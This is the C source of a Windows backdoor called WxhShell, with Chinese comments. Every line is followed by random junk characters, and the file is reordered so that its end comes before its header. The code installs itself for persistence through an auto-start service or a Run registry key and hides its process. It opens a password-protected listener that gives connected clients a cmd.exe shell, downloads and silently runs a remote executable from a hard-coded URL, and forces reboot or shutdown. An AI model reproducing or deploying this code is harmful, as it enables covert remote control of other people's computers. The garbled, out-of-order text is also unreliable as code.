    if(Boot(SHUTDOWN)) d2sq]Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw T,D.'Ut  
    else { V0i$"|F+ E  
    closesocket(wsh); wP"|$HN  
    ExitThread(0); F\bI6gj  
    } GGtrH~zx  
    break; pSFWNWQ'B  
    } caht4N{T  
  // 获取shell GY xI$y0:  
  case 's': { zX`RN )C  
    CmdShell(wsh); F9w&!yW:  
    closesocket(wsh); f34&:xz2U  
    ExitThread(0); G|_aU8b|t  
    break; G.TX1  
  } f4}6$>)  
  // 退出 K~T\q_ZPZ  
  case 'x': { [rU8 #4.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 89mre;v`  
    CloseIt(wsh); Uiw7Y\Im|  
    break; :X*LlN  
    } i{qURP}.  
  // 离开 !3# }ZC2  
  case 'q': { puF Z~WZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]{^vs'as\  
    closesocket(wsh); \l5:A]J  
    WSACleanup(); ] i2\2MTW8  
    exit(1); (=V[tI+Ngt  
    break; A8GlE  
        } 3>v0W@C  
  } *DzPkaYD>  
  } 0EXNq*=EE  
y/eX(l<{  
  // 提示信息 k]pD3.QJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;jI"|v{vnS  
} "\?G  
  } y:[]+  
%Oqe7Cx>+  
  return; v*'\w#  
} [S+-ovl  
C/ VYu-p%  
// shell模块句柄 *?Ef}:]  
int CmdShell(SOCKET sock) NI:N W-!  
{ ^I?y\:.  
STARTUPINFO si; REBDr;tv  
ZeroMemory(&si,sizeof(si)); rF3]AW(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g>P9hIl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {`CWzk?  
PROCESS_INFORMATION ProcessInfo; ZY$@_DOB}  
char cmdline[]="cmd"; *Bsmn!_cB{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F*:NKT d  
  return 0; I.1l  
} ^VPl>jTg  
)m;qv'=!  
// 自身启动模式 ABmDSV5i  
int StartFromService(void) Uy|=A7Ad c  
{ ?I#hrv@  
typedef struct  WPKTX,k  
{ @6'E8NFl  
  DWORD ExitStatus; #2ASzCe  
  DWORD PebBaseAddress; '$-,;vnP0  
  DWORD AffinityMask; *r$.1nke  
  DWORD BasePriority; +Z2<spqG  
  ULONG UniqueProcessId; KXCmCn  
  ULONG InheritedFromUniqueProcessId; Q9tE^d+%  
}   PROCESS_BASIC_INFORMATION; qFbUM;  
;o459L>sW  
PROCNTQSIP NtQueryInformationProcess; w1(06A}/  
v} ;qMceJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G<6grd5PP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $50"3g!Y  
_5 tqO5'  
  HANDLE             hProcess; ]GKx[F{)  
  PROCESS_BASIC_INFORMATION pbi; ) '`AX\  
_k.bGYldk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _x1[$A,GuB  
  if(NULL == hInst ) return 0; Al=? j#J6p  
y@\Q@ 9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i9k]Q(o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }_l -'t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o 0ivja  
\+Ln~\Sv  
  if (!NtQueryInformationProcess) return 0; ]Ja8i%LjOG  
w?W e|x3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :P~& b P  
  if(!hProcess) return 0; H<7DcwXv  
Ilu`b|%D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G2{M#H  
RTBBb:eX  
  CloseHandle(hProcess); ;Jn0e:x`E  
-7z y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *oX]=u&  
if(hProcess==NULL) return 0; pQ(eF0KG  
Ss! 3{VW  
HMODULE hMod; 5=h'!|iY  
char procName[255]; 1$D`Z/N"A  
unsigned long cbNeeded; ;s. 5\YZ"k  
Q1\k`J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $"{3yLg  
;VlZd*M?  
  CloseHandle(hProcess); 2*wO5v  
 >fA@tUQB  
if(strstr(procName,"services")) return 1; // 以服务启动 \"`>-v"h  
UAXF64w{  
  return 0; // 注册表启动  `pd   
} GKujDx+h  
4S0++Hp4  
// 主模块 AKC foJ  
int StartWxhshell(LPSTR lpCmdLine) Bx : So6:  
{ %i -X@.P  
  SOCKET wsl; 0mD;.1:  
BOOL val=TRUE; hi D7tb=g~  
  int port=0; cm 9oG  
  struct sockaddr_in door; VIYksv   
P[GX}~_k  
  if(wscfg.ws_autoins) Install(); G1;'nwf}  
) UDJ[pL@  
port=atoi(lpCmdLine); 2]aZe4H.  
x+y!P  
if(port<=0) port=wscfg.ws_port; j YIV^o 0  
:e<`U~8m  
  WSADATA data; Tb0;Mbr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x1V2|~;p|  
!Xx<~l IC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hp]ng!I{\u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +fP/|A8P  
  door.sin_family = AF_INET; 'W?v.W &  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JQ/t, v$G  
  door.sin_port = htons(port); jo;uRl  
ZG/8Ds  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]%<Q:+38  
closesocket(wsl); &e]]F#  
return 1; Ce5w0&VlS  
} ]O7.ss/2  
Ns!3- Y  
  if(listen(wsl,2) == INVALID_SOCKET) { m,gy9$  
closesocket(wsl); H MjeGO.i  
return 1; &Ky u@Tt  
} 0gOrW=  
  Wxhshell(wsl); Rw/JPC"  
  WSACleanup(); y LgKS8b  
2}Z4a\YX  
return 0; i+X2M-[Ls  
NrJ_6sjF0g  
} Y7kb1UG  
BU]WN7]D$  
// 以NT服务方式启动 Y=:KM~2hv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o!=l B fI  
{ /y9J)lx  
DWORD   status = 0; i2FD1*=/?  
  DWORD   specificError = 0xfffffff; q1TW?\pjb:  
fZ6 fV=HEF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .mT#%ex  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; txml*/zL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5@UC c  
  serviceStatus.dwWin32ExitCode     = 0; uh5Pn#da^  
  serviceStatus.dwServiceSpecificExitCode = 0; K(Q]&&<  
  serviceStatus.dwCheckPoint       = 0; <K,% y(]  
  serviceStatus.dwWaitHint       = 0; O@r.>  
P!FEh'.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kBy rhK5U  
  if (hServiceStatusHandle==0) return; #6N+5Yx_[  
AvrL9D  
status = GetLastError(); 'wz\tT^  
  if (status!=NO_ERROR) o=-Vt,2{  
{ b\?7?g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ljYpMv.>xG  
    serviceStatus.dwCheckPoint       = 0; aVppOxA  
    serviceStatus.dwWaitHint       = 0; -3G 4vRIo  
    serviceStatus.dwWin32ExitCode     = status; 97(Xu=tX  
    serviceStatus.dwServiceSpecificExitCode = specificError; S$jV|xK B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XVrm3aj(m  
    return; so!w!O@@  
  } 1tc]rC4h  
h6\3vfj^f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <'}b*wUB  
  serviceStatus.dwCheckPoint       = 0; p<=(GY-  
  serviceStatus.dwWaitHint       = 0; ?E+:]j_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M[YTk=IM#  
} QE 45!Z g  
*2,e=tY>  
// 处理NT服务事件,比如:启动、停止 80?6I%UB<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .:{h{@a  
{ r=~WMDCz@  
switch(fdwControl) 4{;8:ax&w  
{ ([,vX"4  
case SERVICE_CONTROL_STOP: {Ax)[<i  
  serviceStatus.dwWin32ExitCode = 0; ^)f{q)to  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;-KA UgL2  
  serviceStatus.dwCheckPoint   = 0; >d8x<|D  
  serviceStatus.dwWaitHint     = 0; b^[W_y  
  { *L%6qxl`V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )-+\M_JK5  
  } j3x^<a\gJ  
  return; <%d51~@={I  
case SERVICE_CONTROL_PAUSE: pg~zUOY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gppBFS  
  break; 3h9Sz8  
case SERVICE_CONTROL_CONTINUE: Iv$:`7|crX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K*R)V/B/l  
  break; 9 wO/?   
case SERVICE_CONTROL_INTERROGATE: Em e'Gk  
  break; m:)Z6  
}; lx\qp`w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0U82f1ei  
} cGgM8  
}>MP{67Dm  
// 标准应用程序主函数 yZYK wKG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ps U9R#HL1  
{ R K"&l!o  
};&HhBc!g  
// 获取操作系统版本 kOs(?=  
OsIsNt=GetOsVer(); :tRf@bD#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <^lJr82  
}3v'Cp0L  
  // 从命令行安装 $ A-+E\vQ@  
  if(strpbrk(lpCmdLine,"iI")) Install(); JDLTOLG  
k? 3S  
  // 下载执行文件 ;i<$7MR.e  
if(wscfg.ws_downexe) { ic%?uWN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .6>  hD1'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3B@y &a#&  
} *#3*;dya]  
P^ptsZ%  
if(!OsIsNt) { wL4Z W8_  
// 如果时win9x,隐藏进程并且设置为注册表启动 2R^O,Vu*W  
HideProc(); s %eyW _  
StartWxhshell(lpCmdLine); 0B=[80K;8  
} aSc{Ft/O  
else 6!P`XTTE  
  if(StartFromService()) yiiyqL*E  
  // 以服务方式启动 Ne3R.g9;Z  
  StartServiceCtrlDispatcher(DispatchTable); Lltc 4Mzw  
else i 3m3zXt  
  // 普通方式启动 `AWy!}8  
  StartWxhshell(lpCmdLine); gks ==|s.  
bf& }8I$  
return 0; _p\629`  
} kmryu=  
=EQJqj1T  
i.3cj1  
#@9)h  
=========================================== G+0><,S  
9]"S:{KSCn  
ac9qj  
v @:~mwy  
kr%2w  
XC=%H'p  
" Y[2Wt%2\6  
&e5(Djz8t  
#include <stdio.h> (=1)y'.  
#include <string.h> U4Z[!s$  
#include <windows.h> K*~]fy  
#include <winsock2.h> _@Y"$V]=Vt  
#include <winsvc.h> MR`:5e  
#include <urlmon.h> 1%%'6cWWu  
WzjL-a(  
#pragma comment (lib, "Ws2_32.lib") yQ9ZhdQS  
#pragma comment (lib, "urlmon.lib") Mtm/}I  
pe9@N9_5  
#define MAX_USER   100 // 最大客户端连接数 d')-7C  
#define BUF_SOCK   200 // sock buffer }^9]jSq5  
#define KEY_BUFF   255 // 输入 buffer l71 gf.4g  
9Gca6e3  
#define REBOOT     0   // 重启 - a y5  
#define SHUTDOWN   1   // 关机 O`WIkBV!  
>&OUGu|  
#define DEF_PORT   5000 // 监听端口 #/|75 4]]  
zrs<#8!Y_!  
#define REG_LEN     16   // 注册表键长度 d{f@K71*  
#define SVC_LEN     80   // NT服务名长度 -T7%dLHY  
b/t  
// 从dll定义API } ^i b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p~K9 B-D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +iy7e6P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` @8`qXg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X APYpBgm  
~4\,&HH  
// wxhshell配置信息 VU|;:  
struct WSCFG { Wqra8u#  
  int ws_port;         // 监听端口 oBA`|yW{U  
  char ws_passstr[REG_LEN]; // 口令  B$^7h!  
  int ws_autoins;       // 安装标记, 1=yes 0=no yPV' pT)  
  char ws_regname[REG_LEN]; // 注册表键名 *5e+@rD`  
  char ws_svcname[REG_LEN]; // 服务名 Bd@'e7{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3J{vt"dS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w5*Z!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jic}+X*0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {^5?)/<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G/vC~6x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m#f{]+6U  
z% 1{  
}; -I":Z2.fR  
C9qJP^F  
// default Wxhshell configuration 3NIUW!gr  
struct WSCFG wscfg={DEF_PORT, |ETiLR=&  
    "xuhuanlingzhe", ][d,l\gu+s  
    1, y:d{jG^  
    "Wxhshell", ;gMgj$mI  
    "Wxhshell", F[saP0 *  
            "WxhShell Service", :~zv t  
    "Wrsky Windows CmdShell Service", /4$4h;_8  
    "Please Input Your Password: ", M\oTZ@  
  1, Sw8kIC  
  "http://www.wrsky.com/wxhshell.exe", WA$ JI@g  
  "Wxhshell.exe" w\w(U  
    }; aE|OTm+@9;  
N8v'70  
// 消息定义模块 [BM*oEFPB*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \'Z<P,8~  
char *msg_ws_prompt="\n\r? for help\n\r#>";  )zq.4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y{d^?(-  
char *msg_ws_ext="\n\rExit."; ~>5#5!}@*  
char *msg_ws_end="\n\rQuit."; at|g%$%  
char *msg_ws_boot="\n\rReboot..."; ]3B%8  
char *msg_ws_poff="\n\rShutdown..."; <?h%k"5  
char *msg_ws_down="\n\rSave to "; ; |L<:x/  
~ttY(w CV  
char *msg_ws_err="\n\rErr!"; g> S*<  
char *msg_ws_ok="\n\rOK!"; Xl_Uz8Hp  
rR,2UZR  
char ExeFile[MAX_PATH]; TeQNFo^_8  
int nUser = 0; 6Pn8f  
HANDLE handles[MAX_USER]; >u0w.3r#  
int OsIsNt; j>Ag\@2ME  
la <npX  
SERVICE_STATUS       serviceStatus; ceT&Y{T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d2S~)/@S  
K93p"nHN  
// 函数声明 ]"~51HQZ  
int Install(void); X"q!Y#)  
int Uninstall(void); w$|l{VI  
int DownloadFile(char *sURL, SOCKET wsh); bU54-3Ox*  
int Boot(int flag); hWo=;#B*  
void HideProc(void); ]3Dl)[R  
int GetOsVer(void); LfLFu9#:w  
int Wxhshell(SOCKET wsl); ;heHefbvvd  
void TalkWithClient(void *cs); x;\wY'  
int CmdShell(SOCKET sock); 28andfl  
int StartFromService(void); X|DO~{-au  
int StartWxhshell(LPSTR lpCmdLine); fNu'((J-  
rw7_5l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O 5 Nb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }(XdB:C8  
kJQ#Wz|z]  
// 数据结构和表定义 j' 0r'  
SERVICE_TABLE_ENTRY DispatchTable[] = vuQ%dDxI  
{ -e u]:4  
{wscfg.ws_svcname, NTServiceMain}, \5)htL1F  
{NULL, NULL} :_kAl? eJ  
}; ]i*](UQ  
,`A?!.K$  
// 自我安装 " =] -%B  
int Install(void) QK`i%TXJ  
{ Cx_Q: 6T  
  char svExeFile[MAX_PATH]; !0,Mp@ j/  
  HKEY key; ,TJ D$^  
  strcpy(svExeFile,ExeFile); ;z~n.0'  
nqVZqX@oE  
// 如果是win9x系统,修改注册表设为自启动 kcie}Be  
if(!OsIsNt) { =*vMA#e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2[fN\e{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MZJ]Dwt]  
  RegCloseKey(key); HO)/dZNU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p&-'|'![l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'R<&d}@P*#  
  RegCloseKey(key); 9@ 16w  
  return 0; 9Z5D\yv?H  
    } X^9d/}uTa  
  } fq[;%cr4  
} +>~?m*$  
else { 0c^>eq]  
t*<#<a  
// 如果是NT以上系统,安装为系统服务 4 1a. #o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CSPKP#,B0[  
if (schSCManager!=0) F}GPZ=T;  
{ YC_5YY(k  
  SC_HANDLE schService = CreateService !QI\Fz?  
  ( 8vSse  
  schSCManager, YW@#91.  
  wscfg.ws_svcname, hwN?/5  
  wscfg.ws_svcdisp, xM[Vc  
  SERVICE_ALL_ACCESS, !HeSOzN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^u}L;`L  
  SERVICE_AUTO_START,  7R#+Le)  
  SERVICE_ERROR_NORMAL, _p-t<ytnh  
  svExeFile, vsWHk7 9  
  NULL, h N2:d1f0  
  NULL, wkqX^i7ls  
  NULL, Cv ejb+  
  NULL, ?Iyo9&1&  
  NULL )}vNOE?X~  
  ); ps .]N   
  if (schService!=0) 'J&f%kx"  
  { v[plT2"s  
  CloseServiceHandle(schService); mGUO6>g  
  CloseServiceHandle(schSCManager); OA/WtQ5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |tR OL 9b  
  strcat(svExeFile,wscfg.ws_svcname); v:Tzv^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U7uKRv9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vx_o(wof  
  RegCloseKey(key); +YLejjQ  
  return 0; zA+~7;7E  
    } /&F,V+x  
  } W>VP'vn}  
  CloseServiceHandle(schSCManager); :1XtvH  
} :l7U>~ o  
} lv vs%@b>  
rqP FU6  
return 1; 7QKr_  
} / N) W2  
@';B_iQ  
// 自我卸载 b^D$jY  
int Uninstall(void) X|0R= n]  
{ kg@>;(V&  
  HKEY key; }g#&Q0  
t5)+&I2  
if(!OsIsNt) { -V,v9h ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q+b D}emd  
  RegDeleteValue(key,wscfg.ws_regname); +aF}oA&X[  
  RegCloseKey(key); :1t~[-h^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3d<HN6&U  
  RegDeleteValue(key,wscfg.ws_regname); L-B<nl  
  RegCloseKey(key); M?&h~V1OI~  
  return 0; %sHF-n5P  
  } E9?ph D  
} r]3'74j:  
} J psPNa  
else { O+ }qQNe<  
`wF8k{Pb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WDFjp  
if (schSCManager!=0) FnJ?C&xK  
{ dq[Mj5eC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '47P|t  
  if (schService!=0) *(PL _/:  
  { &Ysosy*  
  if(DeleteService(schService)!=0) { |6=p{ y  
  CloseServiceHandle(schService); 8-y{a.,u.  
  CloseServiceHandle(schSCManager); x(<(t: ?o  
  return 0; %IC73?  
  } =+ t^f  
  CloseServiceHandle(schService); s"Pf+aTW  
  } n,B,"\fw  
  CloseServiceHandle(schSCManager); "#(T  
} }y9mNT  
} J|'7_0OAx  
Ut$;ND.-  
return 1; kP/M< X"  
} Ag F,aZU  
JQ4{` =,b  
// 从指定url下载文件 gTA%uRBa  
int DownloadFile(char *sURL, SOCKET wsh) 3 %.#}O,(  
{ It2" x;  
  HRESULT hr; )M__ t5L  
char seps[]= "/"; .U T@p  
char *token; 8]&i-VFof  
char *file; Q{B}ef  
char myURL[MAX_PATH]; | 9~GM  
char myFILE[MAX_PATH]; H[DUZ,J  
aW!@f[%~F  
strcpy(myURL,sURL); fN'HE#W1Xa  
  token=strtok(myURL,seps); dt2$`X18  
  while(token!=NULL) !Hys3AP  
  { ,t\* ZTt$  
    file=token; S"Zp D.XX  
  token=strtok(NULL,seps); ]p_@@QTC  
  } 5jUYN-$GO  
C@jJ.^ <<  
GetCurrentDirectory(MAX_PATH,myFILE); H\XP\4#u  
strcat(myFILE, "\\"); x3PD1JUf  
strcat(myFILE, file); YZ%Hu)  
  send(wsh,myFILE,strlen(myFILE),0); P-ri=E}>  
send(wsh,"...",3,0); TDd{.8qf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6xD#?  
  if(hr==S_OK) hE h}PX:  
return 0; w`q%#q Rk  
else ew"v{=X  
return 1; e9Nk3Sj]  
l x,"EOP  
} fu90]upz~  
^h{)Gf,+\  
// 系统电源模块 q$aaA`E%  
int Boot(int flag) 4wrk2x[  
{ XoA+MuDzpo  
  HANDLE hToken; B" 3dQwQ  
  TOKEN_PRIVILEGES tkp; Qx[t /~  
qIld;v8w"g  
  if(OsIsNt) { -WYAN:s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P;k0W>~k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z )HD`Ho  
    tkp.PrivilegeCount = 1; h,Q3oy\s1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QR1{ w'c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d> {nQF;c  
if(flag==REBOOT) { qL,tYJ<m%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ve\X3"p#  
  return 0; lkBdl#]9  
} V{<xf f  
else { /% kY0 LY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hUYd0qEbEt  
  return 0; -%L6#4m4o  
} 1x[)/@.'f  
  } }[M`uZ  
  else { :UQTEdc{  
if(flag==REBOOT) { RIIitgV_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g55`A`5%C  
  return 0; =C~/7N,lW]  
} b!)<-|IK  
else { TC<@e<-%Sq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C:Hoq(  
  return 0; Zfyo-Wk  
} W^G>cC8.L  
} s+Q~~]HJM  
>Jp:O 7  
return 1; r3>i+i42  
} 8jyG" %WO  
Sv  &[f}S  
// win9x进程隐藏模块 J9=m]R8T  
void HideProc(void) 3;a<_cE*@  
{ }Q";aU0^  
u;`U*@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /tUy3myJ  
  if ( hKernel != NULL ) i\dc>C ;  
  { 3\Xbmq8}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Q^Ikiv   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CxfRV L`7  
    FreeLibrary(hKernel); ]8T!qS(UJd  
  } sVl-N&/  
VZ\B<i  
return; CP6LHkM9  
} Qci4J  
i F+vl]  
// 获取操作系统版本 n/h,Lr)Z  
int GetOsVer(void) %?m$`9yU  
{ b?Ki;[+O  
  OSVERSIONINFO winfo; {Lm~r+ U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &\Amn?Iq  
  GetVersionEx(&winfo); 8HP6+c%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sq;s]@~  
  return 1; Ybn`3  
  else N&M~0iw  
  return 0; Yh>]-SCw  
} 1 CHeufQ  
Ry|!pV  
// 客户端句柄模块 K3=3~uY  
int Wxhshell(SOCKET wsl) 6qp%$>$Vt;  
{ [/X4"D-uOK  
  SOCKET wsh; -e8}Pm "  
  struct sockaddr_in client; Hbpqyl%O>  
  DWORD myID; /"B?1?qc,=  
6qaulwV4t  
  while(nUser<MAX_USER) V<j.xd7  
{ ,13Lq-  
  int nSize=sizeof(client); R~ZFy0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mL4]l(U  
  if(wsh==INVALID_SOCKET) return 1; J2^'Xj_V  
x l#LrvxI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }oNhl^JC  
if(handles[nUser]==0) [h,QBz  
  closesocket(wsh); )LyojwY_g  
else 'Tc]KXD6  
  nUser++; a|?4 )  
  } >hr{JJe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WH= EPOR,  
EbdfV-E  
  return 0; TsGE cxIg  
} }6@pJ G  
$k2*[sn,  
// 关闭 socket tuhA 9}E  
void CloseIt(SOCKET wsh) Q*b]_0Rb  
{ w.0qp)}  
closesocket(wsh); <^lRUw  
nUser--; >>5NX"{  
ExitThread(0); ;W^o@*i{>  
} #cCL.p"]  
u5Ftu?t  
// 客户端请求句柄 >2Kh0rIH  
void TalkWithClient(void *cs) VL*ovD%-  
{ Et/&^&=\-  
a(0*um(  
  SOCKET wsh=(SOCKET)cs; smry2*g  
  char pwd[SVC_LEN]; TEaJG9RU>v  
  char cmd[KEY_BUFF]; uNHF'?X  
char chr[1]; +*hm-lv?  
int i,j; :Cp'm'omb  
/=gOa\k|p  
  while (nUser < MAX_USER) { 2^l[(N  
=hMY2D  
if(wscfg.ws_passstr) { R<=zCE`:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~>+]%FPv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ivW(*c  
  //ZeroMemory(pwd,KEY_BUFF); tz&y*e&  
      i=0; aG 92ay  
  while(i<SVC_LEN) { d{E}6)1=  
x*Y@Q?`>5W  
  // 设置超时 a$Cdhx !  
  fd_set FdRead; U~ck!\0&T  
  struct timeval TimeOut; q@xBJ[IM  
  FD_ZERO(&FdRead); HdPoO;  
  FD_SET(wsh,&FdRead); =-}[ ^u1  
  TimeOut.tv_sec=8; 1Q. \s_2  
  TimeOut.tv_usec=0; XGkkB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cwL1/DGDB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \ 5,MyB2/`  
%C=]1Q=T)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |e2be1LD  
  pwd=chr[0]; }eRD|1  
  if(chr[0]==0xd || chr[0]==0xa) { WuZ/C_  
  pwd=0; &Ky_v^  
  break; :"!9_p(,,  
  } 14"J d\M8  
  i++; ](^(=%  
    } %Pqf{*d8  
|H! 9fZO  
  // 如果是非法用户,关闭 socket #2EI\E&$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _z1(y}u}  
} {Pc<u gfl  
6l4mS~/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h@LHRMO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jWYV#ifs2  
n2I V2^ "  
while(1) { ;j)FnY=:-  
?2g`8[">  
  ZeroMemory(cmd,KEY_BUFF); C|o`k9I#  
tT79 p.z B  
      // 自动支持客户端 telnet标准   rrCNo^W1  
  j=0; P';?YV0  
  while(j<KEY_BUFF) { @, Wvvh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %3$*K\Ai  
  cmd[j]=chr[0]; Vb'7>  
  if(chr[0]==0xa || chr[0]==0xd) { DHY@akhrK  
  cmd[j]=0; !eUDi(   
  break; K/}rP[H  
  } bpxeznz  
  j++; P8?Fm`  
    } pm9%%M$  
gB4U*D0[e~  
  // 下载文件 V}zEK0n(6  
  if(strstr(cmd,"http://")) { p+Y>F\r&w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <dvy"Dx   
  if(DownloadFile(cmd,wsh)) jr`Ess  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -c}, :G"  
  else d`/tE?Gw  
